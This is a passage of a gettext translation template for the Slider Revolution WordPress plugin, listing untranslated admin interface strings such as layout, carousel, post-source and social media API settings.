admin/views/overview.php:107 admin/views/builder.php:111 #: admin/views/builder.php:121 admin/views/builder-slider-forms.php:331 #: admin/views/builder-slide-forms.php:53 #: admin/views/builder-slide-forms.php:65 #: admin/views/builder-slide-forms.php:72 #: admin/views/builder-slide-forms.php:78 #: admin/views/builder-slide-forms.php:83 #: admin/views/builder-layer-forms.php:174 #: admin/views/builder-layer-forms.php:220 #: admin/views/builder-layer-forms.php:263 msgid "Object Library" msgstr "" #: admin/views/overview.php:113 msgid "Update History" msgstr "" #: admin/views/overview.php:126 msgid "Find My Code" msgstr "" #: admin/views/overview.php:130 msgid "xxxx xxxx xxxx xxxx" msgstr "" #: admin/views/overview.php:131 msgid "Enter Purchase Code" msgstr "" #: admin/views/overview.php:137 msgid "1 Purchase Code per Website" msgstr "" #: admin/views/overview.php:138 msgid "" "If you want to use Slider Revolution on another domain, please purchase another license" msgstr "" #: admin/views/overview.php:143 msgid "Register to unlock all Premium Features" msgstr "" #: admin/views/overview.php:148 admin/views/overview.php:152 #: admin/views/overview.php:156 admin/views/overview.php:160 #: admin/views/overview.php:164 msgid "Register to Unlock" msgstr "" #: admin/views/overview.php:175 msgid "Connect with ThemePunch" msgstr "" #: admin/views/overview.php:176 msgid "Youtube" msgstr "" #: admin/views/overview.php:178 admin/views/builder-slider-forms.php:467 msgid "Twitter" msgstr "" #: admin/views/overview.php:180 admin/views/builder-slider-forms.php:468 msgid "Facebook" msgstr "" #: admin/views/overview.php:182 admin/views/builder-slider-forms.php:466 msgid "Instagram" msgstr "" #: admin/views/overview.php:184 msgid "Dribbble" msgstr "" #: admin/views/overview.php:186 msgid "Sign up to our Newsletter" msgstr "" #: admin/views/overview.php:187 msgid "Enter your Email" msgstr "" #: admin/views/overview.php:189 msgid "Sign Up" msgstr "" #: admin/views/overview.php:192 msgid "Updates, New Products, Spotlights" msgstr "" #: admin/views/overview.php:193 msgid "" "Get access to the latest News from ThemePunch. We promise to never send you " "Spam!" msgstr "" #: admin/views/overview.php:199 msgid "Whats New?" msgstr "" #: admin/views/builder.php:48 admin/views/builder.php:201 msgid "Desktop" msgstr "" #: admin/views/builder.php:49 admin/views/builder.php:202 msgid "Notebook" msgstr "" #: admin/views/builder.php:50 admin/views/builder.php:203 msgid "Tablet" msgstr "" #: admin/views/builder.php:51 admin/views/builder.php:204 msgid "Mobile" msgstr "" #: admin/views/builder.php:67 admin/views/builder.php:82 #: admin/views/builder-slider-forms.php:690 msgid "Slides" msgstr "" #: admin/views/builder.php:81 admin/views/builder-slide-forms.php:490 msgid "Back" msgstr "" #: admin/views/builder.php:85 msgid "Add Slide(s)" msgstr "" #: admin/views/builder.php:87 msgid "Blank slide" msgstr "" #: admin/views/builder.php:88 msgid "Bulk Slide" msgstr "" #: admin/views/builder.php:89 msgid "Slide From Template" msgstr "" #: admin/views/builder.php:98 msgid "Add Layer" msgstr "" #: admin/views/builder.php:101 admin/views/builder-layer-forms.php:1554 msgid "Text" msgstr "" #: admin/views/builder.php:103 msgid "Quick Style Headline" msgstr "" #: admin/views/builder.php:104 msgid "Quick Style Content" msgstr "" #: admin/views/builder.php:108 admin/views/builder-slide-forms.php:45 msgid "Image" msgstr "" #: admin/views/builder.php:110 admin/views/builder.php:120 msgid "WordPress Library" msgstr "" #: admin/views/builder.php:112 admin/views/builder.php:122 msgid "Empty Placeholder" msgstr "" #: admin/views/builder.php:115 msgid "Button" msgstr "" #: admin/views/builder.php:116 msgid "Shape" msgstr "" #: admin/views/builder.php:118 msgid "Video" msgstr "" #: admin/views/builder.php:125 admin/views/builder-layer-forms.php:203 msgid "Audio" msgstr "" #: admin/views/builder.php:126 msgid "Icon / SVG" msgstr "" #: admin/views/builder.php:127 msgid "Row" msgstr "" #: admin/views/builder.php:128 admin/views/builder-slider-forms.php:843 #: admin/views/builder-slider-forms.php:853 msgid "Group" msgstr "" #: admin/views/builder.php:129 msgid "Layer Library" msgstr "" #: admin/views/builder.php:130 msgid "Import Layer" msgstr "" #: admin/views/builder.php:136 msgid "Multiple Selection" msgstr "" #: admin/views/builder.php:137 msgid "No Layers Selected" msgstr "" #: admin/views/builder.php:150 msgid "Lock/Unlock Selected" msgstr "" #: admin/views/builder.php:151 msgid "Unlock All" msgstr "" #: admin/views/builder.php:157 msgid "Hide Highlight Boxes" msgstr "" #: admin/views/builder.php:157 msgid "Show Highlight Boxes" msgstr "" #: admin/views/builder.php:158 msgid "Show/Hide Selected" msgstr "" #: admin/views/builder.php:159 msgid "Set All Visible" msgstr "" #: admin/views/builder.php:179 msgid "Single Select" msgstr "" #: admin/views/builder.php:180 msgid "Add to Selection" msgstr "" #: admin/views/builder.php:181 msgid "Drag to Select" msgstr "" #: admin/views/builder.php:190 msgid "Open Document" msgstr "" #: admin/views/builder.php:209 msgid "Quick Style" msgstr "" #: admin/views/builder.php:302 admin/views/builder-slider-forms.php:1264 #: admin/views/builder-nav-forms.php:229 admin/views/builder-nav-forms.php:369 #: admin/views/builder-nav-forms.php:556 admin/views/builder-nav-forms.php:740 msgid "Save" msgstr "" #: admin/views/builder.php:323 msgid "" "The Current Size is set to \"Auto Size\". Do you want to continue with " "Custom Size?" msgstr "" #: admin/views/builder-slider-forms.php:55 #: admin/views/builder-slider-forms.php:194 msgid "Layout" msgstr "" #: admin/views/builder-slider-forms.php:56 #: admin/views/builder-slider-forms.php:202 #: admin/views/builder-nav-forms.php:832 msgid "Carousel" msgstr "" #: admin/views/builder-slider-forms.php:58 msgid "Defaults" msgstr "" #: admin/views/builder-slider-forms.php:59 msgid "General" msgstr "" #: admin/views/builder-slider-forms.php:60 #: admin/views/builder-slide-forms.php:30 #: admin/views/builder-layer-forms.php:35 #: admin/views/builder-layer-forms.php:795 msgid "On Scroll" msgstr "" #: admin/views/builder-slider-forms.php:61 #: admin/views/builder-slider-forms.php:97 msgid "Spinner" msgstr "" #: admin/views/builder-slider-forms.php:63 #: admin/views/builder-layer-forms.php:1161 msgid "Advanced" msgstr "" #: admin/views/builder-slider-forms.php:65 msgid "As Modal" msgstr "" #: admin/views/builder-slider-forms.php:74 msgid "Module Naming" msgstr "" #: admin/views/builder-slider-forms.php:76 msgid "Enter a Module name" msgstr "" #: admin/views/builder-slider-forms.php:77 #: admin/includes/shortcode_generator/shortcode_generator.class.php:226 msgid "Alias" msgstr "" #: admin/views/builder-slider-forms.php:77 msgid "enter-a-module-name" msgstr "" #: admin/views/builder-slider-forms.php:78 #: admin/views/builder-slider-forms.php:172 msgid "Shortcode" msgstr "" #: admin/views/builder-slider-forms.php:79 #: admin/views/builder-slider-forms.php:173 msgid "Copy Shortcode" msgstr "" #: admin/views/builder-slider-forms.php:83 #: admin/views/builder-slide-forms.php:428 msgid "" "Place the shortcode on the page or post where you want to show this module." msgstr "" #: admin/views/builder-slider-forms.php:95 msgid "Spinner Settings" msgstr "" #: admin/views/builder-slider-forms.php:119 msgid "Spinner Color" msgstr "" #: admin/views/builder-slider-forms.php:142 msgid "Slider as Modal" msgstr "" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:302 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1276 #: admin/views/builder-layer-forms.php:1300 #: admin/views/builder-layer-forms.php:1321 msgid "Left" msgstr "" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:303 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:145 admin/views/builder-nav-forms.php:146 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:443 admin/views/builder-nav-forms.php:444 #: admin/views/builder-nav-forms.php:626 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1277 #: admin/views/builder-layer-forms.php:1282 #: admin/views/builder-layer-forms.php:1301 #: admin/views/builder-layer-forms.php:1306 #: admin/views/builder-layer-forms.php:1308 #: admin/views/builder-layer-forms.php:1322 #: admin/views/builder-layer-forms.php:1325 #: admin/views/builder-layer-forms.php:1327 msgid "Center" msgstr "" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:304 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1278 #: admin/views/builder-layer-forms.php:1304 #: admin/views/builder-layer-forms.php:1323 msgid "Right" msgstr "" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1183 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1281 #: admin/views/builder-layer-forms.php:1305 #: admin/views/builder-layer-forms.php:1324 msgid "Top" msgstr "" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1184 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1283 #: admin/views/builder-layer-forms.php:1307 #: admin/views/builder-layer-forms.php:1326 msgid "Bottom" msgstr "" #: admin/views/builder-slider-forms.php:149 #: admin/views/builder-slider-forms.php:336 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:251 #: admin/views/builder-nav-forms.php:268 admin/views/builder-nav-forms.php:397 #: admin/views/builder-nav-forms.php:416 admin/views/builder-nav-forms.php:580 #: admin/views/builder-nav-forms.php:599 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:579 msgid "Position" msgstr "" #: admin/views/builder-slider-forms.php:155 msgid "Use Cover" msgstr "" #: admin/views/builder-slider-forms.php:161 msgid "Cover Color" msgstr "" #: admin/views/builder-slider-forms.php:165 msgid "Body Class" msgstr "" #: admin/views/builder-slider-forms.php:168 msgid "Toggle Document Body Class on Open and Close of the Modal." msgstr "" #: admin/views/builder-slider-forms.php:177 msgid "" "Place the shortcode on the page or post where you want to show this modal." msgstr "" #: admin/views/builder-slider-forms.php:189 msgid "Slider Layout" msgstr "" #: admin/views/builder-slider-forms.php:198 #: admin/views/builder-slider-forms.php:475 admin/views/modals-builder.php:322 #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-slide-forms.php:526 #: admin/views/builder-layer-forms.php:198 #: admin/views/builder-layer-forms.php:1269 msgid "Type" msgstr "" #: admin/views/builder-slider-forms.php:200 #: admin/views/builder-slider-forms.php:948 #: admin/views/builder-nav-forms.php:612 msgid "Slider" msgstr "" #: admin/views/builder-slider-forms.php:201 #: admin/views/builder-layer-forms.php:469 msgid "Scene" msgstr "" #: admin/views/builder-slider-forms.php:208 msgid "Sizing" msgstr "" #: admin/views/builder-slider-forms.php:210 msgid "Auto" msgstr "" #: admin/views/builder-slider-forms.php:211 msgid "Full-Width" msgstr "" #: admin/views/builder-slider-forms.php:212 msgid "Full-Screen" msgstr "" #: admin/views/builder-slider-forms.php:221 msgid "Layer Area Size" msgstr "" #: admin/views/builder-slider-forms.php:224 #: admin/views/builder-slider-forms.php:232 #: admin/views/builder-slider-forms.php:240 #: admin/views/builder-slider-forms.php:248 msgid "Browser Width" msgstr "" #: admin/views/builder-slider-forms.php:260 msgid "Decrease Module Height" msgstr "" #: admin/views/builder-slider-forms.php:262 msgid "by Container" msgstr "" #: admin/views/builder-slider-forms.php:262 msgid "Enter Container .class or #id" msgstr "" #: admin/views/builder-slider-forms.php:264 msgid "by PX or %" msgstr "" #: admin/views/builder-slider-forms.php:266 msgid "Dont Force Fullwidth" msgstr "" #: admin/views/builder-slider-forms.php:273 #: admin/views/builder-slider-forms.php:1202 msgid "Advanced Settings" msgstr "" #: admin/views/builder-slider-forms.php:277 msgid "Max Width" msgstr "" #: admin/views/builder-slider-forms.php:278 msgid "Min Height" msgstr "" #: admin/views/builder-slider-forms.php:279 msgid "Wrapper Max Height" msgstr "" #: admin/views/builder-slider-forms.php:282 msgid "Keep Breakpoint Heights" msgstr "" #: admin/views/builder-slider-forms.php:283 msgid "Respect Ratio" msgstr "" #: admin/views/builder-slider-forms.php:284 msgid "Grid = Module" msgstr "" #: admin/views/builder-slider-forms.php:286 msgid "Force Overflow Visible" msgstr "" #: admin/views/builder-slider-forms.php:287 msgid "Fixed on Top" msgstr "" #: admin/views/builder-slider-forms.php:297 msgid "Module Position within Wrapper" msgstr "" #: admin/views/builder-slider-forms.php:300 msgid "Align" msgstr "" #: admin/views/builder-slider-forms.php:320 msgid "Module Background" msgstr "" #: admin/views/builder-slider-forms.php:323 msgid "Use Image" msgstr "" #: admin/views/builder-slider-forms.php:326 #: admin/views/builder-slide-forms.php:59 #: admin/views/builder-layer-forms.php:564 #: admin/views/builder-layer-forms.php:1017 msgid "BG Color" msgstr "" #: admin/views/builder-slider-forms.php:329 #: admin/views/builder-layer-forms.php:568 msgid "BG Image" msgstr "" #: admin/views/builder-slider-forms.php:329 msgid "Enter External URL" msgstr "" #: admin/views/builder-slider-forms.php:330 #: admin/views/builder-slider-forms.php:1229 #: admin/views/builder-slide-forms.php:52 #: admin/views/builder-slide-forms.php:64 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:77 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-slide-forms.php:173 #: admin/views/builder-slide-forms.php:185 #: admin/views/builder-layer-forms.php:173 #: admin/views/builder-layer-forms.php:215 #: admin/views/builder-layer-forms.php:219 #: admin/views/builder-layer-forms.php:262 msgid "Media Library" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left center" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left bottom" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left top" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center top" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center center" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center bottom" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right top" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right center" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right bottom" msgstr "" #: admin/views/builder-slider-forms.php:365 msgid "Border, Overlay & Shadow" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "Overlay" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "none" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 Black" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 White" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 Black" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 White" msgstr "" #: admin/views/builder-slider-forms.php:370 msgid "Shadow Type" msgstr "" #: admin/views/builder-slider-forms.php:370 msgid "No Shadow" msgstr "" #: admin/views/builder-slider-forms.php:372 msgid "Gap (Border)" msgstr "" #: admin/views/builder-slider-forms.php:382 msgid "Caraousel" msgstr "" #: admin/views/builder-slider-forms.php:385 msgid "Carousel Layout" msgstr "" #: admin/views/builder-slider-forms.php:388 msgid "Infinity Scroll" msgstr "" #: admin/views/builder-slider-forms.php:389 msgid "Layers Visible" msgstr "" #: admin/views/builder-slider-forms.php:391 msgid "Max. Visible" msgstr "" #: admin/views/builder-slider-forms.php:393 msgid "Stretch Slides" msgstr "" #: admin/views/builder-slider-forms.php:411 #: admin/views/builder-nav-forms.php:122 admin/views/builder-nav-forms.php:175 #: admin/views/builder-nav-forms.php:322 admin/views/builder-nav-forms.php:511 #: admin/views/builder-nav-forms.php:693 admin/views/builder-slide-forms.php:21 #: admin/views/builder-slide-forms.php:383 #: admin/views/builder-layer-forms.php:32 #: admin/views/builder-layer-forms.php:1101 #: admin/views/builder-layer-forms.php:1586 msgid "Animation" msgstr "" #: admin/views/builder-slider-forms.php:413 #: admin/views/builder-slider-forms.php:1057 #: admin/views/builder-slide-forms.php:461 #: admin/views/builder-layer-forms.php:1136 msgid "Easing" msgstr "" #: admin/views/builder-slider-forms.php:414 msgid "Ease Speed" msgstr "" #: admin/views/builder-slider-forms.php:419 #: admin/views/builder-slider-forms.php:1042 #: admin/views/builder-layer-forms.php:1596 msgid "Effects" msgstr "" #: admin/views/builder-slider-forms.php:422 #: admin/views/builder-slider-forms.php:1170 #: admin/views/builder-nav-forms.php:123 admin/views/builder-nav-forms.php:176 #: admin/views/builder-nav-forms.php:323 admin/views/builder-nav-forms.php:512 #: admin/views/builder-nav-forms.php:694 #: admin/views/builder-slide-forms.php:295 msgid "Fade" msgstr "" #: admin/views/builder-slider-forms.php:428 msgid "Rotation" msgstr "" #: admin/views/builder-slider-forms.php:435 #: admin/views/builder-layer-forms.php:1663 msgid "Scale" msgstr "" #: admin/views/builder-slider-forms.php:460 #: admin/views/builder-slider-forms.php:693 #: admin/views/builder-slider-forms.php:775 #: admin/views/builder-slider-forms.php:810 #: admin/views/builder-slider-forms.php:840 #: admin/views/builder-slide-forms.php:42 #: admin/views/builder-slide-forms.php:56 msgid "Source" msgstr "" #: admin/views/builder-slider-forms.php:463 msgid "Post-Based" msgstr "" #: admin/views/builder-slider-forms.php:464 admin/views/modals-builder.php:524 #: admin/views/modals-builder.php:577 msgid "WooCommerce" msgstr "" #: admin/views/builder-slider-forms.php:465 msgid "Flickr" msgstr "" #: admin/views/builder-slider-forms.php:469 msgid "YouTube" msgstr "" #: admin/views/builder-slider-forms.php:470 msgid "Vimeo" msgstr "" #: admin/views/builder-slider-forms.php:477 admin/views/modals-builder.php:523 #: admin/views/modals-builder.php:541 msgid "Post" msgstr "" #: admin/views/builder-slider-forms.php:478 msgid "Specific Post" msgstr "" #: admin/views/builder-slider-forms.php:479 msgid "Current Post" msgstr "" #: admin/views/builder-slider-forms.php:490 msgid "Post Selection" msgstr "" #: admin/views/builder-slider-forms.php:494 msgid "Fetch By" msgstr "" #: admin/views/builder-slider-forms.php:495 msgid "Categories & Tags" msgstr "" #: admin/views/builder-slider-forms.php:496 msgid "Related" msgstr "" #: admin/views/builder-slider-forms.php:497 msgid "Popular" msgstr "" #: admin/views/builder-slider-forms.php:498 msgid "Recent" msgstr "" #: admin/views/builder-slider-forms.php:499 msgid "Next / Previous" msgstr "" #: admin/views/builder-slider-forms.php:502 msgid "Post Types:" msgstr "" #: admin/views/builder-slider-forms.php:511 msgid "Categories:" msgstr "" #: admin/views/builder-slider-forms.php:527 msgid "Specific Posts" msgstr "" #: admin/views/builder-slider-forms.php:527 msgid "coma separated list | ex: 23,24,25" msgstr "" #: admin/views/builder-slider-forms.php:528 msgid "Popular Posts" msgstr "" #: admin/views/builder-slider-forms.php:529 msgid "Recent Posts" msgstr "" #: admin/views/builder-slider-forms.php:537 msgid "Sorting & Settings" msgstr "" #: admin/views/builder-slider-forms.php:541 msgid "Sort Posts By:" msgstr "" #: admin/views/builder-slider-forms.php:542 #: admin/views/builder-slider-forms.php:660 admin/views/modals-builder.php:545 #: admin/views/modals-builder.php:545 msgid "Post ID" msgstr "" #: admin/views/builder-slider-forms.php:543 #: admin/views/builder-slider-forms.php:661 msgid "Date" msgstr "" #: admin/views/builder-slider-forms.php:545 #: admin/views/builder-slider-forms.php:663 msgid "Slug" msgstr "" #: admin/views/builder-slider-forms.php:546 #: admin/views/builder-slider-forms.php:664 msgid "Author" msgstr "" #: admin/views/builder-slider-forms.php:547 #: admin/views/builder-slider-forms.php:665 msgid "Last Modified" msgstr "" #: admin/views/builder-slider-forms.php:548 #: admin/views/builder-slider-forms.php:666 msgid "Number Of Comments" msgstr "" #: admin/views/builder-slider-forms.php:549 #: admin/views/builder-slider-forms.php:667 #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Random" msgstr "" #: admin/views/builder-slider-forms.php:550 #: admin/views/builder-slider-forms.php:668 msgid "Unsorted" msgstr "" #: admin/views/builder-slider-forms.php:551 #: admin/views/builder-slider-forms.php:669 msgid "Custom Order" msgstr "" #: admin/views/builder-slider-forms.php:565 #: admin/views/builder-slider-forms.php:671 msgid "Sort Direction" msgstr "" #: admin/views/builder-slider-forms.php:567 #: admin/views/builder-slider-forms.php:673 msgid "Descending" msgstr "" #: admin/views/builder-slider-forms.php:568 #: admin/views/builder-slider-forms.php:674 msgid "Ascending" msgstr "" #: admin/views/builder-slider-forms.php:572 #: admin/views/builder-slider-forms.php:677 msgid "Max Posts" msgstr "" #: admin/views/builder-slider-forms.php:573 #: admin/views/builder-slider-forms.php:678 msgid "Limit Excerpt" msgstr "" #: admin/views/builder-slider-forms.php:587 msgid "No further source settings needed. Content is created manually." msgstr "" #: admin/views/builder-slider-forms.php:597 msgid "Types & Categories" msgstr "" #: admin/views/builder-slider-forms.php:601 msgid "Types" msgstr "" #: admin/views/builder-slider-forms.php:613 msgid "Product Categories" msgstr "" #: admin/views/builder-slider-forms.php:632 #: admin/views/builder-slide-forms.php:22 #: admin/views/builder-slide-forms.php:321 #: admin/views/builder-slide-forms.php:324 msgid "Filters" msgstr "" #: admin/views/builder-slider-forms.php:636 #: admin/views/builder-slider-forms.php:640 msgid "From" msgstr "" #: admin/views/builder-slider-forms.php:637 #: admin/views/builder-slider-forms.php:641 msgid "To" msgstr "" #: admin/views/builder-slider-forms.php:643 msgid "In Stock Only" msgstr "" #: admin/views/builder-slider-forms.php:644 msgid "Featured Only" msgstr "" #: admin/views/builder-slider-forms.php:649 msgid "Sorting & Limitations" msgstr "" #: admin/views/builder-slider-forms.php:652 msgid "Sort Prod. By" msgstr "" #: admin/views/builder-slider-forms.php:687 msgid "Flickr Settings" msgstr "" #: admin/views/builder-slider-forms.php:690 #: admin/views/builder-slider-forms.php:728 #: admin/views/builder-slider-forms.php:746 #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 #: admin/views/builder-slider-forms.php:838 msgid "Amount of Slides" msgstr "" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "Cache (sec)" msgstr "" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:729 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "i.e. 1200" msgstr "" #: admin/views/builder-slider-forms.php:692 #: admin/views/builder-slider-forms.php:802 msgid "API Key" msgstr "" #: admin/views/builder-slider-forms.php:692 msgid "Enter your Api Key" msgstr "" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "Display a user's public photos" msgstr "" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "User Public Photos" msgstr "" #: admin/views/builder-slider-forms.php:695 msgid "Display a certain photoset from a user" msgstr "" #: admin/views/builder-slider-forms.php:695 msgid "User Photoset" msgstr "" #: admin/views/builder-slider-forms.php:696 msgid "Display a gallery" msgstr "" #: admin/views/builder-slider-forms.php:696 msgid "Gallery" msgstr "" #: admin/views/builder-slider-forms.php:697 msgid "Display a group's photos" msgstr "" #: admin/views/builder-slider-forms.php:697 msgid "Groups' Photos" msgstr "" #: admin/views/builder-slider-forms.php:700 msgid "User URL:" msgstr "" #: admin/views/builder-slider-forms.php:700 msgid "Enter User URL" msgstr "" #: admin/views/builder-slider-forms.php:702 msgid "Photoset" msgstr "" #: admin/views/builder-slider-forms.php:702 msgid "Pick an Item" msgstr "" #: admin/views/builder-slider-forms.php:706 msgid "Gallery URL" msgstr "" #: admin/views/builder-slider-forms.php:706 msgid "Enter Gallery URL" msgstr "" #: admin/views/builder-slider-forms.php:709 msgid "Group URL" msgstr "" #: admin/views/builder-slider-forms.php:709 msgid "Enter Group URL" msgstr "" #: admin/views/builder-slider-forms.php:714 msgid "" "Read " "here how to receive your Flickr API key" msgstr "" #: admin/views/builder-slider-forms.php:725 msgid "Instagram Settings" msgstr "" #: admin/views/builder-slider-forms.php:728 msgid "Slides:" msgstr "" #: admin/views/builder-slider-forms.php:729 msgid "Cache (sec):" msgstr "" #: admin/views/builder-slider-forms.php:730 msgid "Source:" msgstr "" #: admin/views/builder-slider-forms.php:733 msgid "User Name:" msgstr "" #: admin/views/builder-slider-forms.php:733 #: admin/views/builder-slider-forms.php:847 msgid "Enter User Name" msgstr "" #: admin/views/builder-slider-forms.php:743 msgid "Twitter Settings" msgstr "" #: admin/views/builder-slider-forms.php:746 msgid "Slides (<500)" msgstr "" #: admin/views/builder-slider-forms.php:748 msgid "Twitter @" msgstr "" #: admin/views/builder-slider-forms.php:748 msgid "Enter Twitter Name" msgstr "" #: admin/views/builder-slider-forms.php:749 msgid "Text Tweets" msgstr "" #: admin/views/builder-slider-forms.php:750 msgid "ReTweets" msgstr "" #: admin/views/builder-slider-forms.php:751 msgid "Replies" msgstr "" #: admin/views/builder-slider-forms.php:752 msgid "Consumer Key" msgstr "" #: admin/views/builder-slider-forms.php:752 msgid "Enter Consumer Key" msgstr "" #: admin/views/builder-slider-forms.php:753 msgid "Cons. Secret" msgstr "" #: admin/views/builder-slider-forms.php:753 msgid "Enter Secret" msgstr "" #: admin/views/builder-slider-forms.php:754 msgid "Access Token" msgstr "" #: admin/views/builder-slider-forms.php:754 msgid "Enter Access Token" msgstr "" #: admin/views/builder-slider-forms.php:755 msgid "Access Secret" msgstr "" #: admin/views/builder-slider-forms.php:755 msgid "Enter Access Secret" msgstr "" #: admin/views/builder-slider-forms.php:759 msgid "" "Please " "register your application with Twitter
            to get the right values" msgstr "" #: admin/views/builder-slider-forms.php:769 msgid "FaceBook Settings" msgstr "" #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 msgid "Slides (<25)" msgstr "" #: admin/views/builder-slider-forms.php:774 msgid "Page URL" msgstr "" #: admin/views/builder-slider-forms.php:774 msgid "Enter FaceBook Page URL" msgstr "" #: admin/views/builder-slider-forms.php:776 #: admin/views/builder-slider-forms.php:842 #: admin/views/builder-slider-forms.php:850 msgid "Album" msgstr "" #: admin/views/builder-slider-forms.php:777 msgid "TimeLine" msgstr "" #: admin/views/builder-slider-forms.php:780 msgid "Select Album" msgstr "" #: admin/views/builder-slider-forms.php:782 msgid "APP ID" msgstr "" #: admin/views/builder-slider-forms.php:782 msgid "Enter the App ID" msgstr "" #: admin/views/builder-slider-forms.php:783 msgid "APP Secret" msgstr "" #: admin/views/builder-slider-forms.php:783 msgid "Enter the App Secret" msgstr "" #: admin/views/builder-slider-forms.php:787 msgid "" "Please register your Website app with Facebook
